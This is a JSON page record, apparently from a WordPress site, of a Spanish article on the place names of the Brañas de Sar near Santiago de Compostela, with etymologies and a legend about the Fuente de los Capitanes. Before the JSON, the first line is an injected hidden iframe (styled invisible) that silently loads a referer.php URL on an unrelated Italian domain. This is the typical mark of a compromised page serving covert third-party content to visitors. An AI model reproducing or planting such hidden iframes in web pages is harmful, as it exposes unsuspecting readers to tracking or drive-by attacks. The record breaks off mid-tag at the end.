<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":9127,"date":"2017-01-22T04:06:02","date_gmt":"2017-01-22T03:06:02","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=9127\/"},"modified":"2017-02-23T08:52:02","modified_gmt":"2017-02-23T07:52:02","slug":"toponimia-y-microtoponimia","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/","title":{"rendered":"Toponimia y Microtoponimia"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-a6abd63ab77c7a3497d72722602f8287\">\n.avia-section.av-av_section-a6abd63ab77c7a3497d72722602f8287{\nbackground-color:#015791;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-a6abd63ab77c7a3497d72722602f8287 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_one_full  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-9127'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-95aa746c361b4f46e70d60f5abea3d06\">\n#top .av-special-heading.av-av_heading-95aa746c361b4f46e70d60f5abea3d06{\npadding-bottom:14px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-95aa746c361b4f46e70d60f5abea3d06 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-95aa746c361b4f46e70d60f5abea3d06 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-95aa746c361b4f46e70d60f5abea3d06 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-95aa746c361b4f46e70d60f5abea3d06 av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >TOPONIMIA Y MICROTOPONIMIA<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-9127'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_full-9497bbf8bff73ea4c6992cc17fa9ec36{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_full  avia-builder-el-2  el_after_av_section  el_before_av_one_third  avia-builder-el-first  first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>El estudio de la toponimia es muy importante porque aporta importantes datos hist\u00f3ricos, geogr\u00e1ficos, econ\u00f3micos y etnogr\u00e1ficos, pero tambi\u00e9n desde el punto de vista cultural, porque los top\u00f3nimos son testigo del patrimonio material e inmaterial que en ocasiones permanece olvidado u oculto y en muchos casos s\u00f3lo queda en el registro de la memoria oral.<\/p>\n<p>La mayor parte de la toponimia es reflejo de las formas de aprovechamiento y organizaci\u00f3n agraria, referentes a la naturaleza, especies vegetales, al tama\u00f1o de las parcelas y a su localizaci\u00f3n. El agua y los terrenos encharcados, as\u00ed como la arquitectura asociada a esta, son referencias constantes en la toponimia de las Bra\u00f1as de Sar.<\/p>\n<p>A continuaci\u00f3n, podemos ver algunos top\u00f3nimos recogidos en la zona de las Bra\u00f1as:<\/p>\n<\/div><\/section><\/div>\n<div class='flex_column_table av-av_one_third-169e5a607a277699ae4d12b1f6626805 sc-av_one_third av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_third-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_third-169e5a607a277699ae4d12b1f6626805 av_one_third  avia-builder-el-4  el_after_av_one_full  el_before_av_two_third  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-b49def754b748c1369bfd5f6c5704b9f\">\n.avia-image-container.av-av_image-b49def754b748c1369bfd5f6c5704b9f img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-b49def754b748c1369bfd5f6c5704b9f .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-b49def754b748c1369bfd5f6c5704b9f av-styling- av-hover-grow avia-align-center  avia-builder-el-5  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-9915 avia-img-lazy-loading-not-9915 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9208-300x200.jpg\" alt='Canal de agua de los molinos de los lavaderos' title='Canal de agua de los molinos de los lavaderos'  height=\"200\" width=\"300\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9208-300x200.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9208-768x512.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9208-705x470.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9208-450x300.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9208.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/div><\/div><\/div><\/div>\n<div class='av-flex-placeholder'><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_third-0aa7055fe62c3622faec82866afbaeb2\">\n.flex_column.av-av_two_third-0aa7055fe62c3622faec82866afbaeb2{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_third-0aa7055fe62c3622faec82866afbaeb2 av_two_third  avia-builder-el-6  el_after_av_one_third  el_before_av_one_full  flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Agra<\/strong>: Extensi\u00f3n \u00a0de terreno que puede estar cultivada o es susceptible de explotaci\u00f3n.<\/p>\n<p><strong>Agra de la Fieira<\/strong>: Hierbas muy largas que crecen en la orilla del r\u00edo.<\/p>\n<p><strong>Campo Grande \/Campo de Arriba \/ Campo del Medio<\/strong>: El campo ser\u00eda una agrupaci\u00f3n de parcelas, abiertas, que s\u00f3lo est\u00e1n cerradas en conjunto por un vallado exterior y que pertenecen a distintos due\u00f1os. El adjetivo hace referencia a su tama\u00f1o y a su situaci\u00f3n topogr\u00e1fica en el terreno. Otros top\u00f3nimos como Campo del Loureiro, o Campo de las Cerqueiras, hacen referencia a la presencia de estos \u00e1rboles en la parcela.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n<div class='flex_column_table av-av_one_full-169e5a607a277699ae4d12b1f6626805 sc-av_one_full av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_full-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-169e5a607a277699ae4d12b1f6626805 av_one_full  avia-builder-el-8  el_after_av_two_third  el_before_av_one_full  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Bra\u00f1as de Sar\/ Bra\u00f1a Grande\/ Camino de la Bra\u00f1a\/ Bra\u00f1a de Fuera\/ Bra\u00f1\u00f3n<\/strong>: Hidr\u00f3nimo. Estudiosos como Land\u00edn Carrasco dicen que viene de la ra\u00edz c\u00e9ltica <em>barc<\/em>\u00a0 o brac . Se refiere a un terreno h\u00famedo o encharcado. Pasto de verano. Terreno bajo y siempre inundado, en el que nace agua. Agua parada. Bra\u00f1al. Otros estudiosos dicen que viene del <em>camino<\/em> del bajo Imperio, y tiene una connotaci\u00f3n de camino p\u00fablico principal, por donde circulaban los caballos de postas, de cursus <em>publicos<\/em>, llamados <em>veredi<\/em>, que deriv\u00f3 en Brea (Ponte de la Brea, la Brea).<\/p>\n<p><strong>Campi\u00f1o<\/strong>: Es un espacio extenso de tierra de labor. Terreno extenso fuera de la aldea o villa,\u00a0 pastero, pasto, tierra que se deja de trabajar para dedicarla a pasto del ganado. Otras formas derivadas de este top\u00f3nimo pueden ser Campo, Campi\u00f1a, Campelo etc.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full  avia-builder-el-10  el_after_av_one_full  el_before_av_one_full  first flex_column_div av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-a95633bf54310ae502469f3b1a7e6e84\">\n.avia-image-container.av-av_image-a95633bf54310ae502469f3b1a7e6e84 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-a95633bf54310ae502469f3b1a7e6e84 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-a95633bf54310ae502469f3b1a7e6e84 av-styling- av-hover-grow avia-align-center  avia-builder-el-11  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-9928 avia-img-lazy-loading-not-9928 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/vinvio.jpg\" alt='Vimbio' title='Vimbio'  height=\"534\" width=\"800\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/vinvio.jpg 800w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/vinvio-300x200.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/vinvio-768x513.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/vinvio-705x471.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/vinvio-450x300.jpg 450w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/div><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full  avia-builder-el-12  el_after_av_one_full  el_before_av_one_half  first flex_column_div av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Fuente de los Capitanes<\/strong>: J. L. Tojo Ramallo recoge de D. Abel Fern\u00e1ndez, <em>Las fuentes de Santiago de Compostela<\/em>, una leyenda que explicar\u00eda el nombre de la fuente. Seg\u00fan dice,\u00a0 en 1808, durante la invasi\u00f3n francesa, en la Colegiata de Sar ten\u00edan su campamento las tropas de Napole\u00f3n y, cuando sal\u00edan de correr\u00edas o vigilancia, paraban a beber all\u00ed. Mientras los soldados tomaban un descanso y estaban bebiendo en la fuente, no se dieron cuenta de que les faltaba el capit\u00e1n. Por m\u00e1s que lo buscaron, no fueron quien de encontrarlo. El Capit\u00e1n nunca m\u00e1s apareci\u00f3.<\/p>\n<p>En menos de una semana, otra compa\u00f1\u00eda de soldados del mismo campamento, al mando de otro capit\u00e1n, tambi\u00e9n par\u00f3 a beber en la fuente, a la sombra de la robleda, y no se sabe como, volvi\u00f3 a pasar lo mismo, pues desapareci\u00f3 el capit\u00e1n.<\/p>\n<p>Los mandos superiores, al d\u00eda siguiente , mandaron otros soldados a beber y descansar en la fuente, y sin que estos lo supieran, mandaron otras dos compa\u00f1\u00edas detr\u00e1s de ellos, pues sospechaban del hecho de que desaparecieran s\u00f3lo los capitanes cuando iba a beber la tropa en la fuente. Estas dos compa\u00f1\u00edas siguieron a los soldados y descubrieron que hab\u00eda un peque\u00f1o grupo de hombres que llevaba un bulto metido en un saco. Les dieron el alto y revisando la mercanc\u00eda mientras los portadores hu\u00edan, vieron que el que iba envuelto era el cad\u00e1ver del tercer capit\u00e1n de las tropas francesas.<\/p>\n<p>Desde entonces, a aquella fuente, situada en la carballeira entre Sar y la actual carretera Santiago-Ourense, le llamaron la fuente de los Capitanes. (Tojo 1998: 230-231).<\/p>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_half-b18ec1635791c30194c2fc90ea77ba9c\">\n.flex_column.av-av_one_half-b18ec1635791c30194c2fc90ea77ba9c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_half-b18ec1635791c30194c2fc90ea77ba9c av_one_half  avia-builder-el-14  el_after_av_one_full  el_before_av_one_half  first flex_column_div av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-15d98cee455810476f4a2f3087017be9\">\n.avia-image-container.av-av_image-15d98cee455810476f4a2f3087017be9 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-15d98cee455810476f4a2f3087017be9 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-15d98cee455810476f4a2f3087017be9 av-styling- av-hover-grow avia-align-center  avia-builder-el-15  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-9952 avia-img-lazy-loading-not-9952 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/fontecapitans-300x225.jpg\" alt='' title='Fuente de los Capitanes'  height=\"225\" width=\"300\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/fontecapitans-300x225.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/fontecapitans-768x576.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/fontecapitans-705x529.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/fontecapitans-450x338.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/fontecapitans.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/div><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_half-0aa7055fe62c3622faec82866afbaeb2\">\n.flex_column.av-av_one_half-0aa7055fe62c3622faec82866afbaeb2{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_half-0aa7055fe62c3622faec82866afbaeb2 av_one_half  avia-builder-el-16  el_after_av_one_half  el_before_av_one_full  flex_column_div av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Sendero de Pica\u00f1os<\/strong>: Sendero hace referencia al camino para el paso de las personas y animales, generalmente es una v\u00eda estrecha. Pica\u00f1os: deriva de pica\u00f1a, que es un apero de labranza con mango de palo y dos o m\u00e1s puntas en un extremo de forma muy aguda, empleada para arrancar abono y cavar o labrar en tierras duras.<\/p>\n<p><strong>Corgos\/Corgo del Campo\/Fuente de los Corgos<\/strong>: Hidr\u00f3nimo, del lat\u00edn <em>corrugus<\/em> que hace referencia a acequia, canal de agua, charco, depresi\u00f3n con agua. Corgo tambi\u00e9n era el nombre del pozo donde se curt\u00eda el lino. Tambi\u00e9n puede ser camino entre montes, del lat\u00edn <em>corrugun<\/em>.<\/p>\n<\/div><\/section><\/div>\n<div class='flex_column_table av-av_four_fifth-169e5a607a277699ae4d12b1f6626805 sc-av_four_fifth av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_four_fifth-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_four_fifth-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_four_fifth-169e5a607a277699ae4d12b1f6626805 av_four_fifth first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Finca<\/strong>:\u00a0 ES muy similar al concepto de huerta, porque se refiere a un terreno cerca de la casa, dedicado al cultivo de hortalizas o legumbres. Es de superficie peque\u00f1a, pero sin\u00f3nimo de tierra de calidad.<\/p>\n<p><strong>Catadoiro<\/strong>: Del lat\u00edn <em>captatoriu,<\/em> mirador, atalaya. Del verbo \u201c<em>captar<\/em>\u201d, ver, mirar.<\/p>\n<p><strong>Fieiteira de Arriba<\/strong>: sitio poblado de helechos.<\/p>\n<p><strong>El Fuerte<\/strong>: Puede referirse a un recinto fortificado.<\/p>\n<p><strong>Goi\u00e1ns de Abajo<\/strong>: Se piensa que puede proceder de los siglos V y VI \u00a0y tener origen germ\u00e1nico y de la lengua tardo latina. Goi\u00e1ns de Arriba estar\u00eda en la ladera del monte Gai\u00e1s y, derivado de este, podr\u00eda ser el top\u00f3nimo de Goi\u00e1ns de Abajo.<\/p>\n<p><strong>Molino de Villanas, Camino del Molino:<\/strong> del lat. <em>molo molere<\/em>, triturar con el peso, triturar, <em>mola<\/em>, la que muele o tritura, origen de nuestra muela, que ser\u00eda la piedra de moler. <em>Molinus<\/em>, acaba siendo el molino, que es el conjunto que muele, incluida la vivienda.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n<div class='flex_column_table av-av_one_fifth-0aa7055fe62c3622faec82866afbaeb2 sc-av_one_fifth av-equal-height-column-flextable'><div class='av-flex-placeholder'><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-0aa7055fe62c3622faec82866afbaeb2\">\n.flex_column.av-av_one_fifth-0aa7055fe62c3622faec82866afbaeb2{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_fifth-0aa7055fe62c3622faec82866afbaeb2 av_one_fifth flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<p><em>Los top\u00f3nimos son testigo del patrimonio material e inmaterial que en ocasiones permanece olvidado u oculto y en muchos casos s\u00f3lo queda en el registro de la memoria oral.<\/em><\/p>\n<\/blockquote>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n<div class='flex_column_table av-av_one_full-169e5a607a277699ae4d12b1f6626805 sc-av_one_full av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_full-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-169e5a607a277699ae4d12b1f6626805 av_one_full  avia-builder-el-18  el_after_av_one_half  el_before_av_one_full  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-e28b7343ec64b2dd52ae412775389825\">\n.avia-image-container.av-av_image-e28b7343ec64b2dd52ae412775389825 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-e28b7343ec64b2dd52ae412775389825 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-e28b7343ec64b2dd52ae412775389825 av-styling- av-hover-grow avia-align-center'   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-9971 avia-img-lazy-loading-not-9971 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9194.jpg\" alt='Terraza de la Revolta' title='Terraza de la Revolta'  height=\"533\" width=\"800\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9194.jpg 800w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9194-300x200.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9194-768x512.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9194-705x470.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2016\/12\/mg-9194-450x300.jpg 450w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/div><\/div><\/div><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-b18ec1635791c30194c2fc90ea77ba9c\">\n.flex_column.av-av_one_full-b18ec1635791c30194c2fc90ea77ba9c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-b18ec1635791c30194c2fc90ea77ba9c av_one_full first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Picheleiro<\/strong>: Jarra alta, generalmente de esta\u00f1o, que se usaba para quitar el vino de las pipas y servirlo. Tambi\u00e9n puede hacer referencia a la ca\u00f1er\u00eda de una fuente, al picho, pudiendo derivar de pich\u00f3n.<\/p>\n<p><strong>Revuelta de Abajo<\/strong>: Puede ser una extensi\u00f3n de monte roturado, segunda o tercera cava de un cultivo, o bien hacer referencia a curvas pronunciadas con un adoquinado m\u00e1s cuidadoso que el resto de las calzadas, que no tienen que ser romanas necesariamente.<\/p>\n<p><strong>Sar<\/strong>: Hidr\u00f3nimo, \u201cagua, r\u00edo, lugares encharcados\u201d. Seg\u00fan Murgu\u00eda,\u00a0 podr\u00eda tener origen prerromano, probablemente indoeuropeo. Ejemplos con esta ra\u00edz ser\u00edan los r\u00edos Sar y Sarela. Lugares con abundancia de agua.<\/p>\n<\/div><\/section><\/div><\/p>\n<div class='flex_column_table av-av_one_full-169e5a607a277699ae4d12b1f6626805 sc-av_one_full av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_full-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-169e5a607a277699ae4d12b1f6626805 av_one_full  avia-builder-el-20  el_after_av_one_full  el_before_av_one_full  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p><strong>Senra, Campo de la Sierra, Camino del Campo de la Senra<\/strong>: Top\u00f3nimo prerromano, probablemente c\u00e9ltico. Puede ser una porci\u00f3n de tierra de siembra, un campo comunal cultivado de cereales, una tierra de monte convertida en labrad\u00edo, roturada y apropiada para centeno, tierra de labor y prestaci\u00f3n de trabajo al se\u00f1or.<\/p>\n<p><strong>Tallo<\/strong>: Puede ser una ca\u00f1er\u00eda, o bien un tipo de asiento.<\/p>\n<p><strong>Viso<\/strong>:\u00a0 Del lat\u00edn <em>visus<\/em>, altura de amplia visi\u00f3n, un terreno alto desde el que se divisa una amplia extensi\u00f3n.<\/p>\n<p><strong>Tenencia de Velasco<\/strong>: Tenencia, <em>tenza<\/em> en gallego, implica posesi\u00f3n, propiedad acompa\u00f1ado de un antrop\u00f3nimo \u201cVelasco\u201d<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Toponimia y Microtoponimia - Parque Fluvial de Santiago: As bra\u00f1as de Sar<\/title>\n<meta name=\"description\" content=\"El estudio de la toponimia es muy importante ya que aporta datos hist\u00f3ricos, geogr\u00e1ficos, econ\u00f3micos, etnogr\u00e1ficos desde el punto de vista cultural.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" 